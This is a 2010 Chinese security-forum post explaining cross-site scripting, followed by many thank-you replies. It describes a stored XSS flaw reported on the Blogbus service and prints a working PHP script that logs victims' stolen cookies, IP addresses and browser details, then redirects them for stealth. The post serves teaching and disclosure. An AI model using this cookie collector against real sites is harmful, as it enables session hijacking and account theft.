首页
社区
课程
招聘
问答 CTF 排行榜 知识库 工具下载 峰会 看雪商城 证书查询
  1. 社区
  2. WEB安全
    3. 发新帖
[原创]跨站脚本攻击实例解析
发表于: 2010-11-4 21:54 57698

[原创]跨站脚本攻击实例解析

riusksk 活跃值
41
2010-11-4 21:54
57698

作者：泉哥
主页：http://riusksk.blogbus.com

前言
跨站攻击，即Cross Site Script Execution(通常简写为XSS，因为CSS与层叠样式表同名，故改为XSS) 是指攻击者利用网站程序对用户输入过滤不足，输入可以显示在页面上对其他用户造成影响的HTML代码，从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。很多人对于XSS的利用大多停留在弹框框的程度，一些厂商对XSS也是不以为然，都认为安全级别很低，甚至忽略不计。本文旨在讲述关于跨站攻击的利用方式，并结合实例进行分析。

漏洞测试
关于对XSS的漏洞测试，这里就以博客大巴为例进行测试，最近我也在上面发现了多处跨站漏洞，其中两处已公布在WooYun网站上，其主要内容如下：

漏洞详情
简要描述：
博客大巴存储型XSS漏洞
详细说明：
在“个人信息设置”的“附加信息”一项中，由于对“个人简介”的内容过滤不严，导致可在博客首页实现跨站，而在下方“添加一段附加信息”中，由于对“信息标题”内容过滤不严，同样可导致跨站的出现。
<?php

$cookie = $_GET['cookie'];            //以GET方式获取cookie变量值
$ip = getenv ('REMOTE_ADDR');        //远程主机IP地址
$time=date('Y-m-d g:i:s');            //以“年-月-日 时：分：秒”的格式显示时间
$referer=getenv ('HTTP_REFERER');    //链接来源
$agent = $_SERVER['HTTP_USER_AGENT'];    //用户浏览器类型

$fp = fopen('cookie.txt', 'a');        //打开cookie.txt，若不存在则创建它
fwrite($fp," IP: " .$ip. "\n Date and Time: " .$time. "\n User Agent:".$agent."\n Referer: ".$referer."\n Cookie: ".$cookie."\n\n\n");    //写入文件
fclose($fp);    //关闭文件

header("Location: http://www.baidu.com");    //将网页重定向到百度，增强隐蔽性

?>

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入！

上传的附件：
收藏
免费 ・2
支持
分享
最新回复 (82)
riusksk
雪    币： 433
活跃值： (1870)
能力值： ( LV17，RANK：1820 )
在线值：
发帖
回帖
粉丝
私信
2 楼
来看雪的WEB版块热闹下，但愿能成为看雪的第一帖WEB安全精华文章，^_^
2010-11-4 22:08
0
bluechong
雪    币： 1582
活跃值： (40)
能力值： ( LV2，RANK：10 )
在线值：
发帖
回帖
粉丝
私信
3 楼
点击下载就直接网页全部关掉
2010-11-4 22:29
0
riusksk
雪    币： 433
活跃值： (1870)
能力值： ( LV17，RANK：1820 )
在线值：
发帖
回帖
粉丝
私信
4 楼
经测试可正常下载！
2010-11-4 22:33
0
bluechong
雪    币： 1582
活跃值： (40)
能力值： ( LV2，RANK：10 )
在线值：
发帖
回帖
粉丝
私信
5 楼
嗯，昨天晚上下载了
2010-11-5 07:29
0
adomore
雪    币： 189
活跃值： (11)
能力值： ( LV2，RANK：10 )
在线值：
发帖
回帖
粉丝
私信
6 楼
感谢泉哥！！！
2010-11-5 07:48
0
netciw
雪    币： 200
活跃值： (10)
能力值： ( LV2，RANK：10 )
在线值：
发帖
回帖
粉丝
私信
7 楼
其实很多时候还应该涉及到XSS语句的加密~
2010-11-8 11:15
0
Ivanlife
雪    币： 146
活跃值： (92)
能力值： ( LV2，RANK：10 )
在线值：
发帖
回帖
粉丝
私信
8 楼
XSS漏洞除了存储型的其余实际意义不大，目前最多的也就利用钓鱼
2010-11-14 19:11
0
wtln
雪    币： 200
活跃值： (10)
能力值： ( LV2，RANK：10 )
在线值：
发帖
回帖
粉丝
私信
9 楼
这个真不错，谢谢。
2010-11-18 13:22
0
ycmint
雪    币： 1149
活跃值： (888)
能力值： ( LV13，RANK：260 )
在线值：
发帖
回帖
粉丝
私信
10 楼
泉哥。。。。我的偶像。。。。
2010-11-18 13:38
0
riusksk
雪    币： 433
活跃值： (1870)
能力值： ( LV17，RANK：1820 )
在线值：
发帖
回帖
粉丝
私信
11 楼
不要迷恋哥，哥只是个传说！
2010-11-18 18:15
0
黑色刺客
雪    币： 0
活跃值： (329)
能力值： ( LV2，RANK：10 )
在线值：
发帖
回帖
粉丝
私信
12 楼
..不得不顶
2010-11-19 17:42
0
zphdebug
雪    币： 95
活跃值： (15)
能力值： ( LV4，RANK：50 )
在线值：
发帖
回帖
粉丝
私信
13 楼
谢谢lz.....
2010-11-22 15:11
0
appwho
雪    币： 30
活跃值： (10)
能力值： ( LV2，RANK：10 )
在线值：
发帖
回帖
粉丝
私信
14 楼
是个抛砖引玉的好东西,谢谢分享!
2010-11-22 16:21
0
wdww
雪    币： 55
活跃值： (10)
能力值： ( LV2，RANK：10 )
在线值：
发帖
回帖
粉丝
私信
15 楼
谢谢泉哥的分享
2010-11-26 16:21
0
btchina
雪    币： 3
活跃值： (10)
能力值： ( LV2，RANK：10 )
在线值：
发帖
回帖
粉丝
私信
16 楼
谢谢兄弟的分享  辛苦了
2010-11-27 09:49
0
kenlf
雪    币： 64
活跃值： (134)
能力值： ( LV2，RANK：10 )
在线值：
发帖
回帖
粉丝
私信
17 楼
XSS现在好流行啊
2010-11-27 18:19
0
szylmzs
雪    币： 202
活跃值： (10)
能力值： ( LV2，RANK：10 )
在线值：
发帖
回帖
粉丝
私信
18 楼
多谢
相当好的文章
受用了
2010-11-30 14:47
0
bluecode
雪    币： 303
活跃值： (10)
能力值： ( LV2，RANK：10 )
在线值：
发帖
回帖
粉丝
私信
19 楼
牛人写牛文，留印，慢慢看。
2010-11-30 15:14
0
jidongah
雪    币： 201
活跃值： (10)
能力值： ( LV2，RANK：10 )
在线值：
发帖
回帖
粉丝
私信
20 楼
多谢泉哥！在分享安全技术的同时，让大家领悟正确运用安全技术的真谛。
2010-12-10 16:17
0
dlmu
雪    币： 239
活跃值： (25)
能力值： ( LV4，RANK：50 )
在线值：
发帖
回帖
粉丝
私信
21 楼
学习了
2010-12-10 16:29
0
NJDK
雪    币： 174
活跃值： (109)
能力值： ( LV2，RANK：10 )
在线值：
发帖
回帖
粉丝
私信
22 楼
谢谢 学习中
2010-12-10 19:12
0
cyberad
雪    币： 18
活跃值： (10)
能力值： ( LV2，RANK：10 )
在线值：
发帖
回帖
粉丝
私信
23 楼
牛人留牛文，不得不顶
2010-12-16 13:36
0
whack
雪    币： 144
活跃值： (25)
能力值： ( LV3，RANK：30 )
在线值：
发帖
回帖
粉丝
私信
24 楼
呵呵！不错的文章，支持一下！
2010-12-30 10:01
0
freeflyer
雪    币： 215
活跃值： (10)
能力值： ( LV2，RANK：10 )
在线值：
发帖
回帖
粉丝
私信
25 楼
写的很不错呀，学习了。
首先要学好javascript
2011-1-4 16:53
0
游客
登录 | 注册 方可回帖
回帖 表情 雪币赚取及消费
高级回复
返回
//